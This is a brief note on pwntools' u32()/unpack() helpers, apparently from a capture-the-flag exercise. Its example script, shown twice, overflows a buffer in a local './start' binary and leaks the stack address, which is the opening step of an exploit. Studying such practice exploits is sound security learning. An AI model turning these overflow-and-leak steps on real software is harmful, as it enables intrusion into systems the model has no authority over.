Use u32() or unpack()
Example
from pwn import *
context.terminal = "kitty"
r = process("./start")
buf = b'A'*20
buf += p32(0x08048087)
r.send(buf)
esp = u32(r.read()[:4])
print(hex(esp))Use u32() or unpack()
from pwn import *
context.terminal = "kitty"
r = process("./start")
buf = b'A'*20
buf += p32(0x08048087)
r.send(buf)
esp = u32(r.read()[:4])
print(hex(esp))